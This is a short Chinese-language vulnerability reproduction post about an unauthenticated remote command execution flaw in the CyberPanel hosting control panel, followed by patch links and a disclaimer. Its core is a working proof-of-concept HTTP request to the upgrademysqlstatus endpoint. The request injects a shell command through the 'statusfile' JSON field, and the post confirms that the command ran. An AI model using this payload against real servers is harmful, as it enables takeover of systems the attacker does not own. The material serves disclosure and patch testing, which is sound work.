漏洞介绍

CyberPanel是一款基于OpenLiteSpeed的Web托管控制面板，专为现代Web托管需求设计。它不仅提供了丰富的功能，还确保了高性能和安全性。无论您是个人开发者、小型企业还是大型企业，CyberPanel都能满足您的托管需求。

CyberPanel 是基于 (Open) LiteSpeed 开发的多用户管理的控制面板。2024年10月，互联网上披露CyberPanel upgrademysqlstatus 远程命令执行漏洞，攻击者可在无需登陆的情况下执行任意命令，控制服务器。

影响版本

CyberPanel 

漏洞复现

1.访问漏洞环境

2.对漏洞进行复现

 POC 

漏洞复现

GET /dataBases/upgrademysqlstatus HTTP/1.1Host: 127.0.0.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0Content-Type: application/jsonConnection: closeContent-Length: 23
{"statusfile":"1;id;#"}

测试id命令执行，漏洞存在。

3.nuclei文件测试

修复建议

目前厂商已发布升级补丁以修复漏洞，补丁获取链接：

https://cyberpanel.net/blog/detials-and-fix-of-recent-security-issue-and-patc...  https://github.com/usmannasir/cyberpanel/commit/5b08cd6d53f4dbc2107ad9f555122...

免责声明

本文仅用于技术讨论与学习，利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，本平台和发布者不为此承担任何责任。